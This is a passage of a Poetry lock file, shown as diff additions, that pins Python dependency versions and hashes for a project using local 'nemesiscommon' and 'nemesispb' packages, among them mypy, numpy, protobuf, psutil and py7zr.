"multivolumefile-0.2.3.tar.gz", hash = "sha256:a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6"}, +] + +[package.extras] +check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "pygments", "readme-renderer", "twine"] +test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "hypothesis", "pyannotate", "pytest", "pytest-cov"] +type = ["mypy", "mypy-extensions"] + +[[package]] +name = "mypy" +version = "0.971" +description = "Optional static typing for Python" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"}, + {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"}, + {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"}, + {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"}, + {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"}, + {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"}, + {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"}, + {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"}, + {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"}, + {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"}, + {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"}, + {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"}, + {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"}, + {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"}, + {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"}, + {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"}, + {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"}, + {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"}, + {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"}, +] + +[package.dependencies] +mypy-extensions = ">=0.4.3" +typing-extensions = ">=3.10" + +[package.extras] +dmypy = ["psutil (>=4.0)"] +python2 = ["typed-ast (>=1.4.0,<2)"] +reports = ["lxml"] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +description = "Type system extensions for programs checked with the mypy type checker." +category = "dev" +optional = false +python-versions = ">=3.5" +files = [ + {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, + {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, +] + +[[package]] +name = "mypy-protobuf" +version = "3.4.0" +description = "Generate mypy stub files from protobuf specs" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"}, + {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"}, +] + +[package.dependencies] +protobuf = ">=4.21.8" +types-protobuf = ">=3.20.4" + +[[package]] +name = "nemesiscommon" +version = "0.2.2" +description = "Common nemesis helper functions" +category = "main" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +aio-pika = "^8.3.0" +aioboto3 = "^10.4.0" +boto3 = "^1.24.59" +pycryptodomex = "^3.15.0" +pydantic = "^1.10.4" +pyyaml = "^6.0" +requests = "^2.28.1" +rich = "^13.3.3" +structlog = "^23.1.0" +tenacity = "^8.0.1" +typing-extensions = "^4.4.0" +yara-python = "^4.3.0" + +[package.source] +type = "directory" +url = "../../packages/python/nemesiscommon" + +[[package]] +name = "nemesispb" +version = "0.1.0" +description = "Nemesis python protobuf" +category = "main" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +mypy-protobuf = "^3.4.0" +protobuf = "^4.21.5" + +[package.source] +type = "directory" +url = "../../packages/python/nemesispb" + +[[package]] +name = "nltk" +version = "3.8.1" +description = "Natural Language Toolkit" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "nltk-3.8.1-py3-none-any.whl", hash = "sha256:fd5c9109f976fa86bcadba8f91e47f5e9293bd034474752e92a520f81c93dda5"}, + {file = "nltk-3.8.1.zip", hash = "sha256:1834da3d0682cba4f2cede2f9aad6b0fafb6461ba451db0efb6f9c39798d64d3"}, +] + +[package.dependencies] +click = "*" +joblib = "*" +regex = ">=2021.8.3" +tqdm = "*" + +[package.extras] +all = ["matplotlib", "numpy", "pyparsing", "python-crfsuite", "requests", "scikit-learn", "scipy", "twython"] +corenlp = ["requests"] +machine-learning = ["numpy", "python-crfsuite", "scikit-learn", "scipy"] +plot = ["matplotlib"] +tgrep = ["pyparsing"] +twitter = ["twython"] + +[[package]] +name = "nodeenv" +version = "1.7.0" +description = "Node.js virtual environment builder" +category = "dev" +optional = false +python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*" +files = [ + {file = "nodeenv-1.7.0-py2.py3-none-any.whl", hash = "sha256:27083a7b96a25f2f5e1d8cb4b6317ee8aeda3bdd121394e5ac54e498028a042e"}, + {file = "nodeenv-1.7.0.tar.gz", hash = "sha256:e0e7f7dfb85fc5394c6fe1e8fa98131a2473e04311a45afb6508f7cf1836fa2b"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "numpy" +version = "1.24.3" +description = "Fundamental package for array computing in Python" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "numpy-1.24.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3c1104d3c036fb81ab923f507536daedc718d0ad5a8707c6061cdfd6d184e570"}, + {file = "numpy-1.24.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:202de8f38fc4a45a3eea4b63e2f376e5f2dc64ef0fa692838e31a808520efaf7"}, + {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8535303847b89aa6b0f00aa1dc62867b5a32923e4d1681a35b5eef2d9591a463"}, + {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d926b52ba1367f9acb76b0df6ed21f0b16a1ad87c6720a1121674e5cf63e2b6"}, + {file = "numpy-1.24.3-cp310-cp310-win32.whl", hash = "sha256:f21c442fdd2805e91799fbe044a7b999b8571bb0ab0f7850d0cb9641a687092b"}, + {file = "numpy-1.24.3-cp310-cp310-win_amd64.whl", hash = "sha256:ab5f23af8c16022663a652d3b25dcdc272ac3f83c3af4c02eb8b824e6b3ab9d7"}, + {file = "numpy-1.24.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9a7721ec204d3a237225db3e194c25268faf92e19338a35f3a224469cb6039a3"}, + {file = "numpy-1.24.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6cc757de514c00b24ae8cf5c876af2a7c3df189028d68c0cb4eaa9cd5afc2bf"}, + {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76e3f4e85fc5d4fd311f6e9b794d0c00e7002ec122be271f2019d63376f1d385"}, + {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1d3c026f57ceaad42f8231305d4653d5f05dc6332a730ae5c0bea3513de0950"}, + {file = "numpy-1.24.3-cp311-cp311-win32.whl", hash = "sha256:c91c4afd8abc3908e00a44b2672718905b8611503f7ff87390cc0ac3423fb096"}, + {file = "numpy-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:5342cf6aad47943286afa6f1609cad9b4266a05e7f2ec408e2cf7aea7ff69d80"}, + {file = "numpy-1.24.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7776ea65423ca6a15255ba1872d82d207bd1e09f6d0894ee4a64678dd2204078"}, + {file = "numpy-1.24.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ae8d0be48d1b6ed82588934aaaa179875e7dc4f3d84da18d7eae6eb3f06c242c"}, + {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecde0f8adef7dfdec993fd54b0f78183051b6580f606111a6d789cd14c61ea0c"}, + {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4749e053a29364d3452c034827102ee100986903263e89884922ef01a0a6fd2f"}, + {file = "numpy-1.24.3-cp38-cp38-win32.whl", hash = "sha256:d933fabd8f6a319e8530d0de4fcc2e6a61917e0b0c271fded460032db42a0fe4"}, + {file = "numpy-1.24.3-cp38-cp38-win_amd64.whl", hash = "sha256:56e48aec79ae238f6e4395886b5eaed058abb7231fb3361ddd7bfdf4eed54289"}, + {file = "numpy-1.24.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4719d5aefb5189f50887773699eaf94e7d1e02bf36c1a9d353d9f46703758ca4"}, + {file = "numpy-1.24.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0ec87a7084caa559c36e0a2309e4ecb1baa03b687201d0a847c8b0ed476a7187"}, + {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea8282b9bcfe2b5e7d491d0bf7f3e2da29700cec05b49e64d6246923329f2b02"}, + {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:210461d87fb02a84ef243cac5e814aad2b7f4be953b32cb53327bb49fd77fbb4"}, + {file = "numpy-1.24.3-cp39-cp39-win32.whl", hash = "sha256:784c6da1a07818491b0ffd63c6bbe5a33deaa0e25a20e1b3ea20cf0e43f8046c"}, + {file = "numpy-1.24.3-cp39-cp39-win_amd64.whl", hash = "sha256:d5036197ecae68d7f491fcdb4df90082b0d4960ca6599ba2659957aafced7c17"}, + {file = "numpy-1.24.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:352ee00c7f8387b44d19f4cada524586f07379c0d49270f87233983bc5087ca0"}, + {file = "numpy-1.24.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a7d6acc2e7524c9955e5c903160aa4ea083736fde7e91276b0e5d98e6332812"}, + {file = "numpy-1.24.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:35400e6a8d102fd07c71ed7dcadd9eb62ee9a6e84ec159bd48c28235bbb0f8e4"}, + {file = "numpy-1.24.3.tar.gz", hash = "sha256:ab344f1bf21f140adab8e47fdbc7c35a477dc01408791f8ba00d018dd0bc5155"}, +] + +[[package]] +name = "olefile" +version = "0.46" +description = "Python package to parse, read and write Microsoft OLE2 files (Structured Storage or Compound Document, Microsoft Office)" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "olefile-0.46.zip", hash = "sha256:133b031eaf8fd2c9399b78b8bc5b8fcbe4c31e85295749bb17a87cba8f3c3964"}, +] + +[[package]] +name = "packaging" +version = "23.1" +description = "Core utilities for Python packages" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, +] + +[[package]] +name = "pamqp" +version = "3.2.1" +description = "RabbitMQ Focused AMQP low-level library" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"}, + {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"}, +] + +[package.extras] +codegen = ["lxml", "requests", "yapf"] +testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"] + +[[package]] +name = "pathspec" +version = "0.11.1" +description = "Utility library for gitignore style pattern matching of file paths." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"}, + {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"}, +] + +[[package]] +name = "pbr" +version = "5.11.1" +description = "Python Build Reasonableness" +category = "dev" +optional = false +python-versions = ">=2.6" +files = [ + {file = "pbr-5.11.1-py2.py3-none-any.whl", hash = "sha256:567f09558bae2b3ab53cb3c1e2e33e726ff3338e7bae3db5dc954b3a44eef12b"}, + {file = "pbr-5.11.1.tar.gz", hash = "sha256:aefc51675b0b533d56bb5fd1c8c6c0522fe31896679882e1c4c63d5e4a0fccb3"}, +] + +[[package]] +name = "pefile" +version = "2022.5.30" +description = "Python PE parsing module" +category = "main" +optional = false +python-versions = ">=3.6.0" +files = [ + {file = "pefile-2022.5.30.tar.gz", hash = "sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b"}, +] + +[package.dependencies] +future = "*" + +[[package]] +name = "platformdirs" +version = "3.4.0" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "platformdirs-3.4.0-py3-none-any.whl", hash = "sha256:01437886022decaf285d8972f9526397bfae2ac55480ed372ed6d9eca048870a"}, + {file = "platformdirs-3.4.0.tar.gz", hash = "sha256:a5e1536e5ea4b1c238a1364da17ff2993d5bd28e15600c2c8224008aff6bbcad"}, +] + +[package.extras] +docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] + +[[package]] +name = "pluggy" +version = "1.0.0" +description = "plugin and hook calling mechanisms for python" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pluggy-1.0.0-py2.py3-none-any.whl", hash = "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"}, + {file = "pluggy-1.0.0.tar.gz", hash = "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] + +[[package]] +name = "prometheus-async" +version = "22.2.0" +description = "Async helpers for prometheus_client." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"}, + {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"}, +] + +[package.dependencies] +aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""} +prometheus_client = ">=0.8.0" +wrapt = "*" + +[package.extras] +aiohttp = ["aiohttp (>=3)"] +consul = ["aiohttp (>=3)"] +dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"] +docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"] +tests = ["coverage[toml]", "pytest", "pytest-asyncio"] +twisted = ["twisted"] + +[[package]] +name = "prometheus-client" +version = "0.16.0" +description = "Python client for the Prometheus monitoring system." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "prometheus_client-0.16.0-py3-none-any.whl", hash = "sha256:0836af6eb2c8f4fed712b2f279f6c0a8bbab29f9f4aa15276b91c7cb0d1616ab"}, + {file = "prometheus_client-0.16.0.tar.gz", hash = "sha256:a03e35b359f14dd1630898543e2120addfdeacd1a6069c1367ae90fd93ad3f48"}, +] + +[package.extras] +twisted = ["twisted"] + +[[package]] +name = "protobuf" +version = "4.22.3" +description = "" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "protobuf-4.22.3-cp310-abi3-win32.whl", hash = "sha256:8b54f56d13ae4a3ec140076c9d937221f887c8f64954673d46f63751209e839a"}, + {file = "protobuf-4.22.3-cp310-abi3-win_amd64.whl", hash = "sha256:7760730063329d42a9d4c4573b804289b738d4931e363ffbe684716b796bde51"}, + {file = "protobuf-4.22.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:d14fc1a41d1a1909998e8aff7e80d2a7ae14772c4a70e4bf7db8a36690b54425"}, + {file = "protobuf-4.22.3-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:70659847ee57a5262a65954538088a1d72dfc3e9882695cab9f0c54ffe71663b"}, + {file = "protobuf-4.22.3-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:13233ee2b9d3bd9a5f216c1fa2c321cd564b93d8f2e4f521a85b585447747997"}, + {file = "protobuf-4.22.3-cp37-cp37m-win32.whl", hash = "sha256:ecae944c6c2ce50dda6bf76ef5496196aeb1b85acb95df5843cd812615ec4b61"}, + {file = "protobuf-4.22.3-cp37-cp37m-win_amd64.whl", hash = "sha256:d4b66266965598ff4c291416be429cef7989d8fae88b55b62095a2331511b3fa"}, + {file = "protobuf-4.22.3-cp38-cp38-win32.whl", hash = "sha256:f08aa300b67f1c012100d8eb62d47129e53d1150f4469fd78a29fa3cb68c66f2"}, + {file = "protobuf-4.22.3-cp38-cp38-win_amd64.whl", hash = "sha256:f2f4710543abec186aee332d6852ef5ae7ce2e9e807a3da570f36de5a732d88e"}, + {file = "protobuf-4.22.3-cp39-cp39-win32.whl", hash = "sha256:7cf56e31907c532e460bb62010a513408e6cdf5b03fb2611e4b67ed398ad046d"}, + {file = "protobuf-4.22.3-cp39-cp39-win_amd64.whl", hash = "sha256:e0e630d8e6a79f48c557cd1835865b593d0547dce221c66ed1b827de59c66c97"}, + {file = "protobuf-4.22.3-py3-none-any.whl", hash = "sha256:52f0a78141078077cfe15fe333ac3e3a077420b9a3f5d1bf9b5fe9d286b4d881"}, + {file = "protobuf-4.22.3.tar.gz", hash = "sha256:23452f2fdea754a8251d0fc88c0317735ae47217e0d27bf330a30eec2848811a"}, +] + +[[package]] +name = "psutil" +version = "5.9.5" +description = "Cross-platform lib for process and system monitoring in Python." +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "psutil-5.9.5-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:be8929ce4313f9f8146caad4272f6abb8bf99fc6cf59344a3167ecd74f4f203f"}, + {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab8ed1a1d77c95453db1ae00a3f9c50227ebd955437bcf2a574ba8adbf6a74d5"}, + {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:4aef137f3345082a3d3232187aeb4ac4ef959ba3d7c10c33dd73763fbc063da4"}, + {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:ea8518d152174e1249c4f2a1c89e3e6065941df2fa13a1ab45327716a23c2b48"}, + {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:acf2aef9391710afded549ff602b5887d7a2349831ae4c26be7c807c0a39fac4"}, + {file = "psutil-5.9.5-cp27-none-win32.whl", hash = "sha256:5b9b8cb93f507e8dbaf22af6a2fd0ccbe8244bf30b1baad6b3954e935157ae3f"}, + {file = "psutil-5.9.5-cp27-none-win_amd64.whl", hash = "sha256:8c5f7c5a052d1d567db4ddd231a9d27a74e8e4a9c3f44b1032762bd7b9fdcd42"}, + {file = "psutil-5.9.5-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3c6f686f4225553615612f6d9bc21f1c0e305f75d7d8454f9b46e901778e7217"}, + {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a7dd9997128a0d928ed4fb2c2d57e5102bb6089027939f3b722f3a210f9a8da"}, + {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89518112647f1276b03ca97b65cc7f64ca587b1eb0278383017c2a0dcc26cbe4"}, + {file = "psutil-5.9.5-cp36-abi3-win32.whl", hash = "sha256:104a5cc0e31baa2bcf67900be36acde157756b9c44017b86b2c049f11957887d"}, + {file = "psutil-5.9.5-cp36-abi3-win_amd64.whl", hash = "sha256:b258c0c1c9d145a1d5ceffab1134441c4c5113b2417fafff7315a917a026c3c9"}, + {file = "psutil-5.9.5-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:c607bb3b57dc779d55e1554846352b4e358c10fff3abf3514a7a6601beebdb30"}, + {file = "psutil-5.9.5.tar.gz", hash = "sha256:5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c"}, +] + +[package.extras] +test = ["enum34", "ipaddress", "mock", "pywin32", "wmi"] + +[[package]] +name = "py7zr" +version = "0.20.5" +description = "Pure python 7-zip library" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "py7zr-0.20.5-py3-none-any.whl", hash = "sha256:17fe8bb9379ef1d416e6e400f29158ad71dc409869c7206d880441c70806f07f"}, + {file = "py7zr-0.20.5.tar.gz", hash = "sha256:6fb4889c0fa32581818a3366984083253585d6c794e82c3242b8a12d6aeaabd3"}, +] + +[package.dependencies] +brotli = {version = ">=1.0.9", markers = "platform_python_implementation == \"CPython\""} +brotlicffi = {version = ">=1.0.9.2", markers = "platform_python_implementation == \"PyPy\""} +inflate64 = {version = ">=0.3.1", markers = "python_version > \"3.6\""} +multivolumefile = ">=0.2.3" +psutil = {version = "*", markers = "sys_platform != \"cygwin\""} +pybcj = ">=0.6.0" +pycryptodomex = ">=3.6.6" +pyppmd = ">=0.18.1,<1.1.0" +pyzstd = ">=0.14.4" +texttable = "*" + +[package.extras] +check = ["black (>=23.1.0)", "check-manifest", "flake8 (<7)", "flake8-black (>=0.3.6)", "flake8-deprecated", "flake8-isort", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine", "types-psutil"] +debug = ["pytest", "pytest-leaks", "pytest-profiling"] +docs = ["docutils", "sphinx (>=5.0)", "sphinx-a4doc", "sphinx-py3doc-enhanced-theme"] +test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "py-cpuinfo", "pyannotate", "pytest", "pytest-benchmark", "pytest-cov", "pytest-remotedata", "pytest-timeout"] +test-compat = ["libarchive-c"] + +[[package]] +name = "pyasn1" +version = "0.5.0" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +files = [ + {file = "pyasn1-0.5.0-py2.py3-none-any.whl", hash = "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57"}, + {file = "pyasn1-0.5.0.tar.gz", hash = "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde"}, +] + +[[package]] +name = "pybcj" +version = "1.0.1" +description = "bcj filter library" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20fc0d8f67e2d9747e0c31082d5f64b112258ae602a85aa5c7e6bf5a7cad287b"}, + {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:43e8bc75773ca06ee7a64602b799613171e4edf4d9d8fd38fa5c49f1cdbb4407"}, + {file = "pybcj-1.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a81f14f213a75597f9be44feb97740a51adda558465fb159114472dc2ab39ef8"}, + {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:225a0addf4b3d580bf4eae583b5168dac0125a703c53ded8b3f120882e1e0312"}, + {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc79ed4773cd35328377a8fedbbdcafb3a9d242ee63b96863c0692c81faefab8"}, + {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0eaa90639992b6096afb1485380fae7f084483db6b92867847a3bfdf22cc4efc"}, + {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:570a3cf4e016dcb0fc561991833e5170a2a0bc6ee88fe5667591f356bd7b7895"}, + {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:46b82fe50eb8171ee2205e935f3fd5900e31beb5e54e10c88f23a5420902467d"}, + {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:2d6b34ec233fcf5a83ccfbf422fef22256947eaa7077aaa012e5961d15aa302c"}, + {file = "pybcj-1.0.1-cp310-cp310-win32.whl", hash = "sha256:fa787b414c4dc6b6cd75338fac18a7dbb53a09443dd863020a2d2bda76940ca6"}, + {file = "pybcj-1.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:970dc23ca1c64611d35a3abe76a059cf551da53d62faefd84c5bf3e0af1602d1"}, + {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c854a206d8c3a5a959b803405760f3627bb4878450e2f36b5d35af09c89152fc"}, + {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:21098001200273c3c9fd90e7bf909fb905a8e1c102c80b604cb7c6a3103ef7e0"}, + {file = 